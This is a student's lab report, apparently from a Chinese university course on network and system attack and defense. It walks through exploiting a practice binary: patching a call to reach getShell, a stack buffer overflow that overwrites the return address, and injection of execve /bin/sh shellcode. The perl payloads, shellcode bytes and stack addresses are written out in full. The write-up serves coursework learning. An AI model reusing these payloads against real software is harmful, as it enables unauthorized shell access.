首页 > 其他分享 >20222412 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222412 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-06 18:00:12浏览次数:10  
标签:x90 getShell 20222412 2024 2025 gdb 命令 pwn20222405 输入

1.实验内容

本周学习内容

1.熟悉基本的汇编语言指令及其功能。
2.掌握了栈与堆的概念及其在进程内存管理中的应用以及用户态与内核态的区别。
3.熟练运用了Linux系统下的基本操作命令。

实验任务

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

任务一 直接修改程序机器指令,改变程序执行流程

下载目标文件pwn1,然后上传至kali,并将其重命名为pwn20222405。

使用命令objdump -d pwn20222405 | more对文件pwn20222405进行反汇编。

找到getShell、foo、main的部分。

从这里可以看到main函数是调用foo的,对应机器指令为e8 d7ffffff,e8是跳转的意思。

如果想让它调用getShell,只要修改d7ffffff为“getShell-80484ba”对应的补码即可,经过计算得到补码c3ffffff。

输入命令vi pwn20222405进行编辑,接着输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容。

将其中的call指令的目标地址由d7ffffff变为c3ffffff。

输入:%!xxd -r转换16进制为原格式,:wq保存修改。

再反汇编看一下,call指令是否正确调用getShell。

这次call指令可以正确调用getShell了。

看一下原始的pwn1的功能。

只是简单的回显任何用户输入的字符串。

再看一下修改后的功能。

可以正常执行用户输入的命令了。

任务二 通过构造输入参数,造成BOF攻击,改变程序执行流

使用命令cp pwn20222405 pwn20222405_BOF复制一份文件来实现该任务。

foo函数只预留了56字节的缓冲区,有Buffer overflow漏洞,超出部分会造成溢出,我们的目标是覆盖返回地址,触发getShell函数。

使用sudo apt updatesudo apt install gdb命令安装gdb。

接下来确认输入字符串哪几个字符会覆盖到返回地址。

启动gdb,输入1111111122222222333333334444444412345678,使用info r查看EIP寄存器中的数据。

eip中存的地址变成了 0x34333231,也就是4321。

因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先使用命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括这样字符串的文件,
再使用16进制查看指令xxd input查看文件的内容。

然后将input的输入,通过管道符“|”,作为pwn20222405_BOF的输入。

这时执行的功能是getShell函数的功能,输入命令ls,成功调用了getShell函数来执行命令。

任务三 注入Shellcode并执行

首先修改堆栈设置,但我发现我没有安装execstack,于是先使用命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb安装此工具。

接下来修改堆栈设置。

构造要注入的payload:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开终端注入攻击buf:

打开另外一个终端,用gdb来调试pwn20222405_BOF。

先看一下pwn20222405_BOF的进程号。

启动gdb调试这个进程。

通过设置断点,来查看注入buf的内存地址.

在另外一个终端中按下回车。

和0x01020304挨着的就是我们所要寻找的返回地址的位置,即0xffffcee0,需要改为perl -e 'print "A" x 32;print "\xe0\xce\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

最后编译运行,任务成功!

3.问题及解决方案

问题1:在任务一中,使用/e8d7查找要修改的内容失败。

问题1解决方案:在/e8d7中间加上空格,使用/e8 d7来进行查找即可。

问题2:系统显示缺少gdb

问题2解决方案:

输入命令sudo apt-get updatesudo apt install gdb即可。

问题3:系统报错Clearsigned file isn't valid, got 'NOSPLIT' (does the network require authentication?)

问题3解决方案:这个报错在网上很难找到解决方案,经过我长时间的努力,发现是校园网的问题,虽然主机登录认证过了,但kali里面并未认证,所以会报错,切换成个人热点即可解决。

问题4:系统显示execstack未安装

问题4解决方案:根据网上的办法输入命令apt-get install execstack但并未成功,即使换了源也显示找不到。于是我在网上直接找的安装包,上传到虚拟机,输入命令sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可成功安装。

4.学习感悟、思考等

本次实验是我的第一次网络与系统攻防技术实验,刚看到实验内容的时候感到无从下手,这是一个陌生且复杂的挑战,开始做的时候感觉很困难,什么也不会做,而且每做一点就会遇到新的问题,我花了很长很长时间在网上查找资料和解决方法。但是在这个过程中,我的解决问题的能力得到了巨大提升,对于知识点的了解也更加深刻。通过这次实验,我对汇编语言、堆栈以及缓冲区溢出等知识有了更深入的了解,在实验成功后我也获得了满满的成就感,对于Linux系统的操作也更加熟练了,我觉得这次实验很有趣,也收获了很多,就是有点累,但这些努力和付出我觉得都是值得的,希望以后能学到更多有趣的知识。

标签:x90,getShell,20222412,2024,2025,gdb,命令,pwn20222405,输入
From: https://www.cnblogs.com/20222405chu/p/18449028

相关文章

  • 2024-2025-1 20241322《计算机基础与程序设计》第二周学习总结
    作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标<数字化信息安全自学教材计算机科学概论(第七版)第1章并完成云班课测试《C语言程序......
  • 2024-2025-1 20241407《计算机基础与程序设计》第二周学习总结
    这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里[2024-2025-1计算机基础与程序设计第二周作业](https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13266)这个作业的目标数字化信息安全*自学教材:计算机科学概论(第七版)第1......
  • 复盘工作2024-10
    复盘工作-2024-10-061.关于对通过Arrays.asList()获得的list执行.removeAll会报错:需先创建支持修改的集合(例如ArrayList再removeAll)/***练习:关于对通过Arrays.asList()获得的list执行.removeAll会报错:需先创建支持修改的集合(例如ArrayList再removeAll)*/......
  • 2024.10 做题记录 /
    CF2004E套用SG函数的结论,我们先打单个游戏的表再异或即可得到答案。首先对于一个大小为\(i\)的堆有\(SG[i]=\text{mex}_{j\boti}\{SG[i-j]\}\),容易暴力dp。intSG[N];intf(intx){ if(SG[x]!=-1)returnSG[x]; if(x==0)returnSG[0]=0; vector<int>g; up(i,1,x......
  • # 学期(如2024-2025-1) 学号20241405 《计算机基础与程序设计》第2周学习总结
    |这个作业属于哪个课程|2024-2025-1-计算机基础与程序设计)||这个作业要求在哪里|https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276))||这个作业的目标|数字化、信息安全、自学教材计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并......
  • 2024-2025-1 20241416 《计算机基础与程序设计》第二周学习总结
    这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计这个作业要求在哪里 https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标 数字化、信息安全、自学教材计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并完成云班课测试作业正文......
  • 20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容在本周的学习过程中,我了解到了许多缓冲区溢出攻击的实际案例、缓冲区溢出攻击的原理和相关基础知识,包括GDB调试器的使用方法、反汇编、基础的汇编语言与指令等,重新温习了函数调用过程和进程管理方面的知识内容。并且通过实验一,我能够了解并熟练完成Linux系统实验相关的......
  • 2024-2025-1 20241329 《计算机基础与程序设计》第二周学习总结
    作业信息作业归属课程:https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02作业目标:1.数字化2.信息安全3.自学教材:计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并完成云班课测试作......
  • 20222408 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容1.1.1缓冲区溢出的定义和原因定义:写入缓冲区的数据量超过该缓冲区能容纳的最大限度,造成溢出的数据改写了与该缓冲区相邻的原始数据的情形。原因:(直接)由于代码语言的设计问题、程序员的安全意识问题,程序没有严格的内存越界检查;(根本)冯诺依曼体系的安全......
  • 2024-2025-1 20241311 《计算机基础与程序设计》第二周学习总结
    学期(2024-2025-1)学号(20241311)《计算机基础与程序设计》第2周学习总结作业信息这个作业属于哪个课程<班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第二周作业)这个作业的目标<写上具体方......